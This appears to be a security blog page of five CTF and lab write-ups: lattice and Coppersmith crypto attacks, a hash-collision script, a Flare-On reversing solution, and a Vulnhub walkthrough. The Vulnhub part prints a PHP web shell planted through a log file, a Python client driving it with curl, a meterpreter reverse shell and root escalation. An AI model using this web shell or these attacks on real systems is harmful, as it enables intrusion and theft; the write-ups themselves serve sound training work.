Text
guess number crypto 714
Introduction
During this week I was able to check the crypto tasks in BCTF. There were 2 of them which I think is not that much but there were a few blockchain tasks which some ctfs count as crypto so number of questions was ok. The first problem was really easy and there were quite a lot of solves on it: around 110. However, this problem was quite hard and fun. There were 9 solves and I was the last team to solve the task. I learned a lot while solving this task but there is an aspect about this task that I am not fond of, which is the task consists of a single problem and there were almost nothing to deduce.
Challenge Description
In the task an IP, port and the source code of the service running in the give server was given Source code:
import random from flag import FLAG import gmpy2 def msb(k, x, p): delta = p >> (k + 1) ui = random.randint(x - delta, x + delta) return ui def main(): p = gmpy2.next_prime(2**160) for _ in range(5): alpha = random.randint(1, p - 1) # print(alpha) t = [] u = [] k = 10 for i in range(22): t.append(random.randint(1, p - 1)) u.append(msb(k, alpha * t[i] % p, p)) print(str(t)) print(str(u)) guess = raw_input("Input your guess number: ") guess = int(guess) if guess != alpha: exit(0) if __name__ == "__main__": main() print(FLAG)
The code is quite straight forward and the flag is given when we find the hidden alpha value 5 times consecutively.
Solving the Task
The first thing to notice is how msb function conserves the msb 10 bits of the t * a multiplication. If we were to find the exact value of that multiplication the task would be trivial but we only know the 10 msb of it but we have 22 other values as well for different t's but for same a's. Redacted data and few examples sounds a lot like a problem which can be solved by lattices but I did not know how to solve this problem. So I googled "lattice cryptanalysis" and read whatever I could find. I stumbled upon http://www.cits.rub.de/imperia/md/content/may/cryptanalysis_folien.pdf and in page 49 it mentions the problem "The Hidden Number Problem" which sounds a lot like our problem but the explanation there was not clear enough for me to understand. However I had the name of the problem so I could search better now. I found http://www.isg.rhul.ac.uk/\~sdg/igor-slides.pdf which was more focused on this particular problem and gave me better understanding of the limits of the solution. I first check if 10 was close enough to log^1/2^(2^160^) which is the case so I started the implementation of the solution.
Implementing the Solution
I wish I could say that finding the solution was the hard part but due to the lack of documentations, I struggled a lot trying to implement this. First thing that I am pissed about is sagemath does not support closest vector problem. There was a discussion about this 6 years ago, but I don’t see if it is implemented in sagemath today. The second thing that I am pissed about is I could not find any good fplll library documentation. I tried to go in blind, but I was not able to pass floats numbers in the matrix to the library. I chose to go with the fpylll, a python wrapper for the fplll, which did have a nice documentation but at first, I tried to install it with pip which did not happen but that’s probably an error on my part and I was able to install it using anaconda. But fpylll did not support floats as well(if somebody knows how to do this please contact me). So as a solution I multiplied every value in the basis matrix and the u vector with 2^11^ and crossed my fingers. This actually worked and I was able to solve the task. The following is my implementation of the solution:
from fpylll import * import random from gmpy2 import next_prime, invert def solve(t, u): p = int(next_prime(2**160)) k = 2**11 m = [list(map(lambda s: s * k, t)) + [1]] m += [[0] * i + [p * k] + [0] * (22 - i) for i in range(22)] u = u + [0] u = list(map(lambda s: s * k, u)) M = IntegerMatrix.from_matrix(m) U = tuple(u) M = LLL.reduction(M) v = CVP.closest_vector(M, U) x = v[-1] x = (p + x) % p return x for i in range(5): t = input().replace('L', '') u = input().replace('L', '') t = eval(t) u = eval(u) print(solve(t, u))
The flag was: BCTF{HNP_Pr0b13m_1s_So_3asy_Every0n3_C4n_Guess_1t!}
Conclusion
I learned tremendously while trying to solve this task, hence thanks to the organizers. Getting my hands dirty with fplll was frustrating and a quite informative challenge. You can contact me on @yamantasbagv2 for feedbacks.
0 notes
Text
CitroHash Crypto 150
Introduction
This weekend I attended RITSEC CTF. Most of the crypto tasks were not for me because most of them were ciphertext only which I don't like and think it does not make much sense. However this task was fun because it used a sponge-like (as in SHA3 keccak) system which I was trying to get familiar with. The idea behind the task was simple the hash function had entropy of 4 bytes and the task was to find (ascii printable?) collision.
Task Description
See the attached PDF for an amazing new Cryptographic Hash Function called CictroHash. For this challenge you must implement the described Hash Function and then find a collision of two strings. Once a collision is found send both strings to fun.ritsec.club:8003 as a HTTP POST request like below: curl -X POST http://fun.ritsec.club:8003/checkCollision \ --header "Content-Type: application/json" \ --data '{"str1": "{{INSERT_STR1}}", "str2": "{{INSERT_STR2}}"}' If the strings are a valid collision then the flag will be returned. NOTE: requests to this server are being rate-limited for obvious reasons. Author: Cictrone
PDF
Vulnerability
The problem with this hash function was its small hash space there were 2^32 unique hashes. We can perform a (birthday attack)[https://en.wikipedia.org/wiki/Birthday_attack] and find a collision in a reasonable time.
I have generated 10 randombytes and base64 encoded them to get a ascii printable collision
The following is my implementation of CitroHash and the attack.
from Crypto.Util.strxor import strxor from Crypto.Random import get_random_bytes def rotl(c): return ((c << 1) | (c >> 7)) & 0xff def rotr(c): return ((c >> 1) | (c << 7)) & 0xff def pad(s): ll = len(s) % 4 if ll == 0: return s else: return s + b'\x00' * (4 - ll) def group(s, l=4): return [s[i: i + l] for i in range(0, len(s), l)] def alpha(w): return [w[1], w[0]] def beta(w): w[0][0] ^= w[1][3] w[0][1] ^= w[1][2] w[0][2] ^= w[1][1] w[0][3] ^= w[1][0] return w def gamma(w): n = [] for r in w: for c in r: n.append(c) n = group(bytearray(n)) n[0][3] = w[0][0] n[1][2] = w[0][1] n[1][3] = w[0][2] n[1][1] = w[0][3] n[0][1] = w[1][0] n[1][0] = w[1][1] n[0][2] = w[1][2] n[0][0] = w[1][3] return n def delta(w): w[0][0] = rotl(w[0][0]) w[1][0] = rotl(w[1][0]) w[0][2] = rotl(w[0][2]) w[1][2] = rotl(w[1][2]) w[0][1] = rotr(w[0][1]) w[1][1] = rotr(w[1][1]) w[0][3] = rotr(w[0][3]) w[1][3] = rotr(w[1][3]) return w def f(w): for i in range(50): w = alpha(w) w = beta(w) w = gamma(w) w = delta(w) return w def hash(m): s = bytearray([31, 56, 156, 167, 38, 240, 174, 248]) m = bytearray(m) m = pad(m) m = group(m) w = [s[:4], s[4:]] for g in m: w[0] = bytearray(strxor(w[0], g)) w = f(w) s = w[0] + w[1] from binascii import hexlify return hexlify(s[:4]) def solve(): hashes = set() table = dict() i = 0 while True: if i % 1000 == 0: print(len(hashes)) m = get_random_bytes(10) from base64 import b64encode as encode m = encode(m) h = hash(m) if h in hashes and table[h] != m: print("Found Collision:") print(m) print(table[h]) break table[h] = m hashes.add(h) i += 1 solve()
Collision
Found Collision: oKB178HHTrKMjg== utq+fCljIeDLdg==
Flag
RITSEC{I_am_th3_gr3@t3st_h@XOR_3v@}
Final Thoughts
Trying to implement a sponge-like system was fun and I'd recommend doing so for crypto enthusiasts but during the ctf the sam ple plaintext-hash pairs were wrong and the algorithm behaved differently in the documents and in the server-side which was not fun for the participants. In the end, this was a fun challange. Relevant file can be found (here)[https://github.com/yytasbag/walkthroughs/blob/master/ritsec/citrohash/]
0 notes
Text
Whistle (Crypto 250 + 220)
This is a write up for the Whistle (Crypto 250 + 220) task in P.W.N. CTF
Introduction
For the last couple of months I have been interested in Cryptography and whenever I have the time I try to solve crypto tasks in ctfs. Anyway I hope you like it. Contact: @yamantasbagv2
Challenge Description
Our university has a new on campus [whistle blowing system](http://dl1.uni.hctf.fun/whistle/whistle_blower.zip). I want to get the latest campus leakz first hand, so I sniffed the network traffic of the latest submission. Unfortunately the system uses 31337 crypto. Can you still recover the message? [Download Traffic](http://dl1.uni.hctf.fun/whistle/whistle.pcap) [System MIRROR Traffic MIRROR](http://dl2.uni.hctf.fun/whistle/whistle.pcap)
Unpacking
Contents of the whistle_blower.zip is the following: blow_whistle.py and pubkey.pem
import os from ftplib import FTP from sys import argv from tempfile import TemporaryFile from hashlib import sha256 from Crypto.PublicKey import RSA from Crypto.Cipher import AES class Encrypter: """ Encrypts a given message or file with a random AES key. This AES key is then encrypted using the given RSA public key. """ BLOCK_SIZE = 16 KEY_SIZE = 16 def __init__(self, rsa_path): self.rsa_key = RSA.importKey(open(rsa_path).read()) def _pad_symmetric(self, msg): """ Adds PKCS#7 padding for symmetric encryption to given message. """ missing = 16 - (len(msg) % self.BLOCK_SIZE) return msg + missing.to_bytes(1, "big") * missing def _pad_asymmetric(self, msg): """ Adds PKCS 1 v1.5 padding for assymetric encryption to given message. """ BT = b"\x01" PS = b"\xFF" * ((self.rsa_key.size()//8) - 3 - len(msg)) return b"\x00" + BT + PS + b"\x00" + msg def _encrypt_aes(self, key, iv, plaintext): """ Encrypts plaintext with AES CBC """ cipher = AES.new(key, AES.MODE_CBC, iv) return iv + cipher.encrypt(self._pad_symmetric(plaintext)) def _encrypt_aes_randkey(self, plaintext): """ Encrypts plaintext with random AES key. """ key = os.urandom(self.KEY_SIZE) iv = os.urandom(self.BLOCK_SIZE) return key, self._encrypt_aes(key, iv, plaintext) def _encrypt_rsa(self, msg): """ Encrypts message with given RSA public key. """ return self.rsa_key.encrypt(self._pad_asymmetric(msg), -1)[0] def encrypt_msg(self, msg): """ Encrypt a message with random key AES CBC and return ciphertext together with RSA encrypted key. """ key, ct = self._encrypt_aes_randkey(msg) key_enc = self._encrypt_rsa(key) return key_enc, ct def get_tempfile(content): fp = TemporaryFile() fp.write(content) fp.seek(0) return fp class Communicator: """ Takes message or file and sends it encrypted to remote ftp server. """ def __init__(self, server, pubkey): self.server = server self.encrypter = Encrypter(pubkey) def _send(self, key, ct): with FTP(self.server) as ftp: ftp.login() ftp.cwd("submit") remote_name = sha256(ct).hexdigest() with get_tempfile(ct) as content_file: ftp.storbinary("STOR {}".format(remote_name), content_file) with get_tempfile(key) as key_file: ftp.storbinary("STOR {}".format(remote_name + "_key"), key_file) def send_msg(self, msg): key, ct = self.encrypter.encrypt_msg(msg) self._send(key, ct) def send_file(self, path): with open(path, "rb") as f: content = f.read() self.send_msg(content) def main(): if len(argv) != 2: print("Call {} FILE_TO_SEND".format(argv[0])) exit(1) com = Communicator('192.168.69.123', 'pubkey.pem') print("Encrypting and sending file!") com.send_file(argv[1]) print("Done!") if __name__ == '__main__': main()
In pubkey we have the public key for the RSA part of the challange.
In the given pcap file there are two files transfered over ftp which I extracted them using NetworkMiner and renamed them to flag and key. This will make sense in the next section.
Understanding the Protocol
The protocol works as the following:
Encrypt the given file with AES128-CBC, random key, IV and PKCS#7 padding
Pack IV with ciphertext and send it to the ftp server
Pad aes key with PKCS 1 v1.5
Encrypt it with the RSA public key
Send Encrypted AES key to the ftp server
The Vulnerability
I am not capable of breaking AES128 without a oracle of some sorts if the key is generated properly. So I focused on breaking the RSA encryption. After examining the public key I noticed that e = 3 and modulus was 4096 bits long. Since aes key is 128 bits long we could easily take the cube root of the encrypted aes key and decipher it. However, RSA padding is present therefore cube root method will not work but seeing e=3 makes me a happy man because there are many attacks taking advantage of low public exponent.
Since our last plan was stopped by the RSA padding I have taken a close look into it.
def _pad_asymmetric(self, msg): """ Adds PKCS 1 v1.5 padding for assymetric encryption to given message. """ BT = b"\x01" PS = b"\xFF" * ((self.rsa_key.size()//8) - 3 - len(msg)) return b"\x00" + BT + PS + b"\x00" + msg
If I am not wrong this is actually a "wrong" or "mixed" implementation. This is the padding for signing not encryption. The problem here is the following, if the lenght of the message is known the padding is deterministic and we can calculate it. Consider the following polynomial: f(x) = ((PAD + x) ^ e - CT) % N PAD is the deterministic padding, e is the public exponent, N is the public modulus and CT is the cipher text.
One of the root of f is our AES-key (Think about it). Coppersmith's attack allows us to find such root. However the folowing must be true. root X must be smaller than N^(1/e) This is true since log(N,2)/3 > 1000 > 128 (Key is 128 bits long)
The Attack
I have conducted the attack using sagemath since it already implements coppersmit attack as small_roots()
from Crypto.PublicKey import RSA from Crypto.Util.number import * from math import log from Crypto.Cipher import AES p = open('pubkey.pem').read() ak = open('key', 'rb').read() ak = bytes_to_long(ak) ct = open('flag', 'rb').read() r = RSA.importKey(p) def pad(msg): global r """ Adds PKCS 1 v1.5 padding for assymetric encryption to given message. """ BT = b"\x01" PS = b"\xFF" * ((r.size()//8) - 3 - len(msg)) return b"\x00" + BT + PS + b"\x00" + msg base = pad(b"\x00" * 16) base = bytes_to_long(base) K = Zmod(r.n) P.<x> = PolynomialRing(K, implementation='NTL') f = (base + x) ^ r.e - ak ak = f.small_roots()[0] ak = long_to_bytes(ak) iv = ct[:16] ct = ct[16:] c = AES.new(ak, AES.MODE_CBC, iv) out = open('flag.png', 'wb') out.write(c.decrypt(ct))
The flag turned out to be a png file which had the flag written on it.
Conclusion
I had fun particapating the P.W.N. CTF. This task was not that hard but there were 6 solves at the end of the ctf. I would recommend this CTF its difficulty was ok and the tasks were fun.
Relevant files can be found here
0 notes
Text
Flare-On: IgniteMe Walkthrough
Introduction
Hello once again! This is my second walkthrough. This time it is about reversing. I have picked the second challenge, IgniteMe, from the 2017 Flare-On. This challenge is supposed to be easy since it was after a challenge which gave the flag after a ROT13 but since I am very inexperienced with the subject of reverse engineering it took me quite a while to solve it (probably 3-5 hours). Before I begin I would like to talk about a few things. There was a security conference at my university which inspired me to pursue to write for this blog. I have a plan in mind about what to write here. I think I will start with a series for ROP Emporium challenges then I may write about the problems that I have encountered in CTFs. Enough with the talking let's begin with the challenge. But keep in mind that **I am no where near experienced with RE.** This is not a detailed tutorial. Please contact me if there are any errors. Any feedback is appreciated.
Contact: @yamantasbagv2
You can find the challenges at: https://www.fireeye.com/blog/threat-research/2017/08/fourth-annual-flare-on-challenge.html
First look
When you extract the zip file It comes with a folder for each challenge. In the folder 02 there is a file called IgniteMe.exe. Let's run file on it.
IgniteMe.exe: PE32 executable (console) Intel 80386, for MS Windows
As blog post about the challenge says it is a 32 bit windows executable. Let's run it.
λ .\IgniteMe.exe G1v3 m3 t3h fl4g: test N0t t00 h0t R we? 7ry 4ga1nz plzzz!
Seems simple enough. Now let's load it with IDA and look around.
Static Analysis
After we load it in IDA we have the following structure.
Before the jump there isn't much besides the following three instructions:
call sub_4010F0 call sub_401050 test eax, eax jz short loc_401218
test eax,eax is just checking if eax is 0. Since in x86 eax is used for the return values of functions, I think it is a fair assumption that sub_401050 is where the checking for the flag happens. But we don't know what happens in sub_4010F0 so let's start with it.
var_8 seems like a loop iterator so I named it iter. When we follow the execution the program sets each element of the buffer to 0. After that we see that it reads input from the stdin and copies it to a local var called Buffer. Then it calls a function named sub_401020 with the argument buffer_ptr. Let's see what happens in sub_401020. Here var_4 looks like a loop operator so once again I renamed it iter. This simple function calculates the size of the buffer and returns it. We can see this from the middle box since it adds iter to the buffer_ptr and loads the byte to ecx then checks ecx is 0 or not. If it is than is sets eax to ecx and returns. Therefore I have named this function getSize. I think it would be the following C code.
int getSize(char* buffer) { int iter = 0; while(buffer[iter]) iter = iter +1; return iter; }
When we get back to sub_4010F0 if we follow the path we see that we start with setting iter to 0 (this is before the getSize call). We see that it checks the value at buffer[iter] is either \n or \r if not it copies it to the array at 0x403078. It is logical to assume location 0x403078 is the permanent location of the user input and will be used by the next function since it is located in .bss; hence I renamed it to input. Since this function setups the user input I renamed it to getInput.
Now that we are done with this function let's get back to the sub_401050. Let's rename the obvious variables first. We can see that var_C is the size of the input. then we see a call to sub_401000 then we set var_1 to least significant 2 bytes of eax. I will ignore var_1 for the moment. var_8 is once again the iter. But this time it from the reverse. It goes from len(input) - 1 to 0. There is 2 parts of this function the part on the left somehow xors our input and writes it to 0x403180 hence I renamed it to xored_input. The other part compares our xored_input to some constant at 0x403000 and returns 0 if they are equal. We can say that 0x403000 is the encrypted_flag. At this point I copied the encrypted_flag to a file in hex.
\x0D\x26\x49\x45\x2A\x17\x78\x44\x2B\x6C\x5D\x5E\x45\x12\x2F\x17\x2B\x44\x6F\x6E\x56\x09\x5F\x45\x47\x73\x26\x0A\x0D\x13\x17\x48\x42\x01\x40\x4D\x0C\x02\x69
Let's closely examine the xor part. The encryption is like this we load current char to eax, var_1 to ecx. Then we xor ecx and eax and put it to xored_input[iter]. Finally we set var_1 to input[iter]. It is obvious that var_1 is the xor_key. We are almost done. If we can find the initial value of xor_key which is output of sub_401000 we can get the flag.
Let's look at sub_401000. Since sub_401000 does not depend on anything and does not have a side effect I named it as getKey. This looks like a simple function but like I said I am very inexperienced with RE. And I know that if I tried to calculate this by hand I know I will make a mistake.
Dynamic Analysis (Kind of)
I downloaded x64db and loaded IgniteMe.exe. I have set a breakpoint just before the return and noted value of eax. eax = 0x00700004, which makes al = 0x4. Now that we know the initial key value we can calculate the flag. I do have to admit though this was probably the lamest usage of a debugger.
Getting The Flag
I have written the following python script to get the flag.
f = '\x0D\x26\x49\x45\x2A\x17\x78\x44\x2B\x6C\x5D\x5E\x45\x12\x2F\x17\x2B\x44\x6F\x6E\x56\x09\x5F\x45\x47\x73\x26\x0A\x0D\x13\x17\x48\x42\x01\x40\x4D\x0C\x02\x69' last = 4 out = '' for i in range(len(f)): j = len(f) - 1 - i out = chr( ord(f[j]) ^ last ) + out last = ord(f[j]) ^ last print out
This gave me the flag as [email protected].
Conclusion
I had a lot of fun with this challenge and learned so much. I would recommend everybody to check out the challenges in the Flare-On. I know that the explanation was not great but I tried my best. I would recommend writing a walkthrough for the challenges that you have solved especially if you are not very experienced with the subject. I learned as much as solving the challenge, while writing this. Thank you for reading. Any feedback is appreciated.
0 notes
Text
Vulnhub: g0rmint Walktrough
Introduction
Hello! My name is Yaman. This is my first walktrough of a vulnerable vm. I always wanted to do one of these but I had always postponed to do so. It's currently 1:30 AM. Let's give it a go! Any feedback is appreciated. Contact: @yamantasbagv2
Discovery
root@valhalla:/home/l0ki/vms/g0rmint# netdiscover -r 192.168.2.0/24 192.168.2.130 00:0c:29:4c:27:af 1 60 VMware, Inc.
I have named 192.168.2.130 as g0rmint.vm in /etc/hosts
Enumeration
First i launced nmap
root@valhalla:/home/l0ki/vms/g0rmint# nmap -sS -sV -T4 g0rmint.vm Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-22 19:08 EST Nmap scan report for g0rmint.vm (192.168.2.130) Host is up (0.00044s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18
Then i have ran nikto on the apache server which showed me the /g0rmint/ directory listed in the robots.txt
I ran dirb on the /g0rmint directory.
root@valhalla:/home/l0ki/vms/g0rmint# dirb http://g0rmint.vm/g0rmint/ /usr/share/dirb/wordlists/common.txt -X ,.php,.txt,.html ---- Scanning URL: http://g0rmint.vm/g0rmint/ ---- + http://g0rmint.vm/g0rmint/config.php (CODE:200|SIZE:0) ==> DIRECTORY: http://g0rmint.vm/g0rmint/css/ + http://g0rmint.vm/g0rmint/dummy.php (CODE:302|SIZE:0) ==> DIRECTORY: http://g0rmint.vm/g0rmint/font/ + http://g0rmint.vm/g0rmint/footer.php (CODE:200|SIZE:45) + http://g0rmint.vm/g0rmint/header.php (CODE:200|SIZE:5698) ==> DIRECTORY: http://g0rmint.vm/g0rmint/img/ + http://g0rmint.vm/g0rmint/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://g0rmint.vm/g0rmint/js/ + http://g0rmint.vm/g0rmint/login.php (CODE:200|SIZE:6611) + http://g0rmint.vm/g0rmint/logout.php (CODE:302|SIZE:0) + http://g0rmint.vm/g0rmint/mainmenu.php (CODE:200|SIZE:847) + http://g0rmint.vm/g0rmint/profile.php (CODE:302|SIZE:0) + http://g0rmint.vm/g0rmint/reset.php (CODE:200|SIZE:6353) + http://g0rmint.vm/g0rmint/secrets.php (CODE:302|SIZE:0)
After this I tried a couple of things 1) I ran sqlmap against reset.php and login.php which resulted in nothing. I noticed that inputs were filtered with addslashes() so I tried to do the sqli by hand which also didn't work out. 2) I created a username wordlist since the header.php showed the admins name (this case it is the name of the creator of the vm) and with using hydra i tried to brute the login form with rockyou-75.txt, still nothing.
The first thing i noticed in the right direction was mainmenu.php had a hidden link pointing towards secretlogfile.php. But still i couldn't reach anything important since every page required login. I checked if any page leaked information before redirecting to the login page with burp but that didn't work as well. After a couple of hours i noticed that login.php also had a hidden link
<!-- start: Mobile Specific --> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="backup-directory" content="s3cretbackupdirect0ry"><!-- end: Mobile Specific -->
I copied the /usr/share/dirb/wordlists/common.txt to my local directory and appended secretlogfile and s3cretbackupdirect0ry to the end of it. After running dirb it found info.php in /g0rmint/s3cretbackupdirect0ry/ which was a file that only said backup.zip I downloaded the backup file to my local dir and unzipped it there. backup.zip contained an old backup of the php files on the server. There were several interesting files. db.sql:
-- phpMyAdmin SQL Dump -- version 4.1.14 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: Nov 02, 2017 at 01:06 PM -- Server version: 5.6.17 -- PHP Version: 5.5.12 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; -- -- Database: `g0rmint` -- -- -------------------------------------------------------- -- -- Table structure for table `g0rmint` -- CREATE TABLE IF NOT EXISTS `g0rmint` ( `id` int(12) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `email` varchar(50) NOT NULL, `pass` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Dumping data for table `g0rmint` -- INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES (1, 'demo', '[email protected]', 'fe01ce2a7fbac8fafaed7c982a04e229'); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
fe01ce2a7fbac8fafaed7c982a04e229 is md5 of "demo". I tried that login but it didn't work.
reset.php:
<?php include_once('config.php'); $message = ""; if (isset($_POST['submit'])) { // If form is submitted $email = $_POST['email']; $user = $_POST['user']; $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user"); $sql->bindParam(":email", $email); $sql->bindParam(":user", $user); $row = $sql->execute(); $result = $sql->fetch(PDO::FETCH_ASSOC); if (count($result) > 1) { $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20); $password = md5($password); $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1"); $sql->bindParam(":pass", $password); $row = $sql->execute(); $message = "A new password has been sent to your email"; } else { $message = "User not found in our database"; } } ?>...
This shows how the password resetting is done. The new password is the first 20 chars of sha1 of the current date which is displayed at the end of the page. That's very convenient for us if we know a valid username and email pair we can successfuly login. I think the whole idea of this vm is do not return the servertime if you are using it somewhere
config.php & login.php: In config.php we have this function
function addlog($log, $reason) { $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php"; if (file_exists($myFile)) { $fh = fopen($myFile, 'a'); fwrite($fh, $reason . $log . "<br>\n"); } else { $fh = fopen($myFile, 'w'); fwrite($fh, file_get_contents("dummy.php") . "<br>\n"); fclose($fh); $fh = fopen($myFile, 'a'); fwrite($fh, $reason . $log . "<br>\n"); } fclose($fh); }
which logs errors. We can't use these log files without authentication since dummy.php checks for that. This function is used in login.php
<?php include_once('config.php'); if (isset($_POST['submit'])) { // If form is submitted $email = $_POST['email']; $pass = md5($_POST['pass']); $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass"); $sql->bindParam(":email", $email); $sql->bindParam(":pass", $pass); $row = $sql->execute(); $result = $sql->fetch(PDO::FETCH_ASSOC); if (count($result) > 1) { session_start(); $_SESSION['username'] = $result['username']; header('Location: index.php'); exit(); } else { $log = $email; $reason = "Failed login attempt detected with email: "; addlog($log, $reason); } } ?>
This suggests that if we send a mallicion php code without " ' etc. as email when we have a valid login we can view the log file to execute it.
After figuring these out I couldn't find a way to move forward for 5 or more hours so I set the vm aside and asked the creator for a tip. His response was
Considering it a standard CMS, where will you look for developer's info? Like wordpress themes?
Checking style.css in the css folder gave me the username and the email of the developer.
/* * Author: noman * Author Email: [email protected] * Version: 1.0.0 * g0rmint: Bik gai hai * Copyright: Aunty g0rmint * www: http://g0rmint.com * Site managed and developed by author himself */
Exploitation
I login with resetting the password of [email protected]. The malicious php I used is
<?php if(isset($_REQUEST[chr(99)])){$cmd = ($_REQUEST[chr(99)]);system(base64_decode($cmd));die;}?>
chr(99) is 'c'. This is done to bypass addslashes()
I wrote a small python script to communicate with this backdoor
#!/usr/bin/python import base64 import os; while True: x = raw_input() x = base64.b64encode(x) os.system('curl --cookie "PHPSESSID=v3blnmlldjp3ikc1tta76htfk5" "http://g0rmint.vm/g0rmint" + "/s3cr3t-dir3ct0ry-f0r-l0gs/2017-11-22.php?c='+x+'"')
The regular methods for deploying a reverse shell did not work for me so I uploaded a meterpreter reverse shell and spawned a tty with
python3 -c 'import pty; pty.spawn('/bin/bash')'
There was a user named g0rmint in the vm.
I noticed that there was another backup.zip in /var/www/backup.zip I used cmp to compare it to the one I have downloaded which said they were different files so I downloaded the new backup.zip to my local dir and unzipped it. The db.sql was different in the new zip file
-- phpMyAdmin SQL Dump -- version 4.1.14 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: Nov 02, 2017 at 01:06 PM -- Server version: 5.6.17 -- PHP Version: 5.5.12 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; -- -- Database: `g0rmint` -- -- -------------------------------------------------------- -- -- Table structure for table `g0rmint` -- CREATE TABLE IF NOT EXISTS `g0rmint` ( `id` int(12) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `email` varchar(50) NOT NULL, `pass` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Dumping data for table `g0rmint` -- INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES (1, 'noman', '[email protected]', 'ea60b43e48f3c2de55e4fc89b3da53dc'); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
ea60b43e48f3c2de55e4fc89b3da53dc is tayyab123.
I tried to su to g0rmint with password as tayyab123 and it worked. Running sudo -L showed that g0rmint could run any command as root so I ran sudo su and became the root.
g0rmint@ubuntu:/var/www$ sudo su sudo su root@ubuntu:/var/www# cd /root cd /root root@ubuntu:~# ls ls flag.txt root@ubuntu:~# ls -la ls -la total 20 drwx------ 2 root root 4096 Nov 3 05:01 . drwxr-xr-x 22 root root 4096 Nov 2 03:32 .. -rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc -rw-r--r-- 1 root root 53 Nov 3 05:02 flag.txt -rw-r--r-- 1 root root 148 Aug 17 2015 .profile root@ubuntu:~# cat flag.txt cat flag.txt Congrats you did it :) Give me feedback @nomanriffat root@ubuntu:~#
Conclusion
This vm was a lot of fun. Thanks @nomanriffat for this. I believe that the keypoint for this machine is not printing server time if the server time is used in that same request. Thank you for reading.
0 notes